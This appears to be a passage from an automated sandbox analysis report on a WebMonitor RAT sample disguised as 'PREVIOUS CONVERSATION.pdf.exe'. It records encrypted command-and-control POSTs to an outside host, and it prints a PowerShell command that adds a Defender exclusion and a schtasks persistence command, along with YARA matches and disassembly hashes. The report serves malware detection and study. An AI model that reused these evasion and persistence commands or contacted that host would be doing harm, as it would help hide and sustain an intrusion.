42	192.168.2.4	49882	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:20:12 UTC	29	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:20:12 UTC	30	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 4e 61 76 42 59 66 77 49 4c 6f 45 39 61 73 37 6d 78 53 64 4b 50 7a 65 36 7a 64 4d 37 38 4c 4a 50 55 75 65 41 30 42 48 41 50 63 77 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4XNavBYfwILoE9as7mxSdKPze6zdM78LJPUueA0BHAPcw==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:20:13 UTC	30	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:20:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:20:13 UTC	30	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49779	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:38 UTC	3	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:38 UTC	3	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 2f 76 36 38 30 4b 69 42 71 77 51 5a 44 75 57 71 4b 53 47 35 70 71 75 65 76 78 6c 4a 57 45 34 6a 72 52 39 38 55 35 69 37 30 6b 67 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4V/v680KiBqwQZDuWqKSG5pquevxlJWE4jrR98U5i70kg==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:18:38 UTC	4	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:38 UTC	4	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49782	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:40 UTC	4	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:40 UTC	4	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 57 52 4a 78 32 70 41 52 72 46 37 6a 75 49 5a 44 7a 33 45 56 44 58 70 34 68 6d 71 59 56 77 2f 35 51 6c 33 74 2f 7a 34 2f 54 6f 63 51 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4WRJx2pARrF7juIZDz3EVDXp4hmqYVw/5Ql3t/z4/TocQ==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:18:41 UTC	4	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:41 UTC	5	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49783	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:43 UTC	5	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 199 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:43 UTC	5	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 55 71 47 65 78 32 74 32 4a 39 32 6e 59 64 33 59 32 52 51 57 79 35 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4UqGex2t2J92nYd3Y2RQWy5&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:18:43 UTC	5	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:43 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:43 UTC	5	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49784	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:45 UTC	5	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:45 UTC	6	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 55 55 79 4e 62 35 42 35 4f 66 62 6b 72 32 6f 46 74 47 49 2b 59 45 77 50 4a 49 31 57 59 6e 39 61 50 42 6f 34 6a 67 66 43 5a 46 6e 41 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4UUyNb5B5Ofbkr2oFtGI+YEwPJI1WYn9aPBo4jgfCZFnA==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:18:46 UTC	6	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:46 UTC	6	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49785	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:48 UTC	6	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 199 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:48 UTC	6	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 39 45 4b 74 55 54 4b 52 52 73 2f 37 53 46 69 75 43 79 7a 64 59 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4V9EKtUTKRRs/7SFiuCyzdY&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:18:48 UTC	6	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:48 UTC	7	IN	Data Raw: 30 Data Ascii: 0

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: PREVIOUS CONVERSATION.pdf.exe PID: 5068 Parent PID: 5880

General

Start time:	12:18:07
Start date:	06/12/2021
Path:	C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe"
Imagebase:	0x70000
File size:	2296320 bytes
MD5 hash:	28241AAFE5B6018C984E310C33E9E48B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000000.00000002.687161020.00000000067D1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000000.00000002.682283890.0000000003E12000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: powershell.exe PID: 6508 Parent PID: 5068

General

Start time:	12:18:11
Start date:	06/12/2021
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe
Imagebase:	0x1340000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 3716 Parent PID: 6508

General

Start time:	12:18:11
Start date:	06/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 5392 Parent PID: 5068

General

Start time:	12:18:12
Start date:	06/12/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FeqVzOoxhxw" /XML "C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp
Imagebase:	0xb90000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6596 Parent PID: 5392

General

Start time:	12:18:13
Start date:	06/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: RegSvcs.exe PID: 3240 Parent PID: 5068

General

Start time:	12:18:14
Start date:	06/12/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0xeb0000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000008.00000000.673437502.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000008.00000000.674726830.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000008.00000000.674213320.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000008.00000000.672927900.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebMonitor, Description: Yara detected WebMonitor RAT, Source: 00000008.00000000.675249725.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: PREVIOUS CONVERSATION.pdf.exe PID: 5068 Parent PID: 5880 PREVIOUS CONVERSATION.pdf.exeCOMMON

Executed Functions

Function 008ABB09, Relevance: 6.1, APIs: 4, Instructions: 125threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 008ABB78
GetCurrentThread.KERNEL32 ref: 008ABBB5
GetCurrentProcess.KERNEL32 ref: 008ABBF2
GetCurrentThreadId.KERNEL32 ref: 008ABC4B

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 68bed229fc08b63907858d3a7fce7f93c8a3bd1899b34d512cd5b7064d5b3839
Instruction ID: 3909292204dd0a830994b055043200efcd566a0ea5e6ada45cc16273e42526d9
Opcode Fuzzy Hash: 68bed229fc08b63907858d3a7fce7f93c8a3bd1899b34d512cd5b7064d5b3839
Instruction Fuzzy Hash: 845186B49007488FDB10CFA9D588BDEBBF1FF49314F24845AE019A77A1CB745888CB65

Uniqueness

Uniqueness Score: -1.00%

Function 008ABB18, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 008ABB78
GetCurrentThread.KERNEL32 ref: 008ABBB5
GetCurrentProcess.KERNEL32 ref: 008ABBF2
GetCurrentThreadId.KERNEL32 ref: 008ABC4B

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: f88597e7fa112e93b578c005514a15dd0063e32efd083c26979a42bffcc3afc3
Instruction ID: bb14643df9730d4281b8e243a5c2809d2c28735f085cac0277c098b2295081b5
Opcode Fuzzy Hash: f88597e7fa112e93b578c005514a15dd0063e32efd083c26979a42bffcc3afc3
Instruction Fuzzy Hash: 255177B49006088FDB50CFA9D588BDEBBF1FF49314F24845AE019A7350DB745848CF65

Uniqueness

Uniqueness Score: -1.00%

Function 008A3CD0, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 008A5421

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 06fadc76b44afa540c41191d63e956ea8e3e1b0517ec0b516e2772b523e7978f
Instruction ID: 9ed67932ac6bfecdbd4039ed673d3c2e52fcbe24dfb169561c93f5c7ddad088f
Opcode Fuzzy Hash: 06fadc76b44afa540c41191d63e956ea8e3e1b0517ec0b516e2772b523e7978f
Instruction Fuzzy Hash: 4341F2B0C0061CCBDB24DFA9C8447DDBBB5FF49308F20846AD408AB251D7B5698ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 008A536E, Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 008A5421

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9342ec591a39b32428bc2ba45a44f94ad23ef78397c44f6ae1866e1db1977419
Instruction ID: 5a8f80fa03eb89c08c829c81274ab07097560cd48f6465073ecb9570541845c2
Opcode Fuzzy Hash: 9342ec591a39b32428bc2ba45a44f94ad23ef78397c44f6ae1866e1db1977419
Instruction Fuzzy Hash: 0D41E3B0C0061CCBDB14CFA9C8447DDBBB5FF49304F24856AD408AB251D775598ACF90

Uniqueness

Uniqueness Score: -1.00%

Function 008ABD39, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 008ABDC7

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0672e5f3839ee31a691ead04318f07d46eb5ea98b415086e1dbbece39d0138ea
Instruction ID: 9fcf116a2ce24064fd86a55be768a82fe29f0a694462ca5d723cd0f2d02cfbfb
Opcode Fuzzy Hash: 0672e5f3839ee31a691ead04318f07d46eb5ea98b415086e1dbbece39d0138ea
Instruction Fuzzy Hash: E721E3B59012499FDB10CFA9D484ADEBFF4FB48324F14845AE914A7650C378A954CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 008ABD40, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 008ABDC7

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4f4553255b58e0b26327e8146e724b95dffaa68fc58f3ee5a270ad59d88d44b0
Instruction ID: 54c5d031937cc1f3231f36526ae7642b0f2db9c88fe9f714262ba47679c99663
Opcode Fuzzy Hash: 4f4553255b58e0b26327e8146e724b95dffaa68fc58f3ee5a270ad59d88d44b0
Instruction Fuzzy Hash: F321D3B5900249DFDB10CFAAD884ADEBBF8FB48324F14841AE914A7750D378A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 008A9278, Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,008A9AD1,00000800,00000000,00000000), ref: 008A9CE2

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4a417f45cfa9b6bf1b13cd8f046f5620e7c4a444b8a04d8b5a768beaf0cf6c2f
Instruction ID: 09812d232d66f5f031cde3103298e0ab39578ced9025e7b0b8f343deaa757ccc
Opcode Fuzzy Hash: 4a417f45cfa9b6bf1b13cd8f046f5620e7c4a444b8a04d8b5a768beaf0cf6c2f
Instruction Fuzzy Hash: 011114B69047099FDB10CF9AC484ADEFBF8FB48324F14842AE555A7700C3B5A949CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 008A9C74, Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,008A9AD1,00000800,00000000,00000000), ref: 008A9CE2

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ac988cdd2922dda604595b5339f1b18de6f0557bf6d78305dc8ab5fada10066d
Instruction ID: b2e7a346b3071d71c4a4e19cd33ffc0edbc5bda4db78340a4130be30b2491eab
Opcode Fuzzy Hash: ac988cdd2922dda604595b5339f1b18de6f0557bf6d78305dc8ab5fada10066d
Instruction Fuzzy Hash: F31126B68007099FDB10CF9AC484ADEFBF8FB48320F14842AD515A7600C3B5A949CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 008A99EB, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 008A9A56

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 50c1bc666c7eab7da7f786b7833b981aec29c12e262492f72707a2eacc905bfa
Instruction ID: 46de792e04205455f6f79824893488cc2600c06ab2cbc320d939ea6744e52cda
Opcode Fuzzy Hash: 50c1bc666c7eab7da7f786b7833b981aec29c12e262492f72707a2eacc905bfa
Instruction Fuzzy Hash: 8D1102B5C006598FDB10CF9AC544BDEBBF4EB49324F14841AD469B7610C374A54ACFA0

Uniqueness

Uniqueness Score: -1.00%

Function 008A99F0, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 008A9A56

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a93ff48aa31f5e600729e4ceecfecf3a338a3a22812d19af8e0440de5a06f5a6
Instruction ID: 1e4141014c75c9684b4d5b6fdeb1e9fe32735b2839fde094205fd678fdded2a9
Opcode Fuzzy Hash: a93ff48aa31f5e600729e4ceecfecf3a338a3a22812d19af8e0440de5a06f5a6
Instruction Fuzzy Hash: D8110FB5C006598FDB10CF9AC444ADEFBF8EB89324F14842AD469B7600C3B9A549CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 008AFE88, Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 008AFEED

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 73ee1f323993a894eeca10732ee9a25f20f7bfbdadac6d45c5e5671b5f513f5b
Instruction ID: 8a35a6b3434a10d2f7928fa7d681a5754dfbd5169732129da44dd6017385d338
Opcode Fuzzy Hash: 73ee1f323993a894eeca10732ee9a25f20f7bfbdadac6d45c5e5671b5f513f5b
Instruction Fuzzy Hash: 9111D6B58003499FDB10CF99D885BDFBBF8FB49324F14841AE915A7640D375AA84CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 008AFE90, Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 008AFEED

Memory Dump Source

Source File: 00000000.00000002.677427760.00000000008A0000.00000040.00000001.sdmp, Offset: 008A0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e44ae0b4210b94a7f064c1e608e5f33a8f78fa7d9fd25dd9992c2b440057ab1e
Instruction ID: 9e3cf73bbc0cff88cf62402903aaca26c4b138902b2b48d04d08a781328f4720
Opcode Fuzzy Hash: e44ae0b4210b94a7f064c1e608e5f33a8f78fa7d9fd25dd9992c2b440057ab1e
Instruction Fuzzy Hash: 1811E5B58003499FDB10CF99D484BDEBBF8FB49324F14841AD515A7640D3B5A984CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07A90DF8, Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

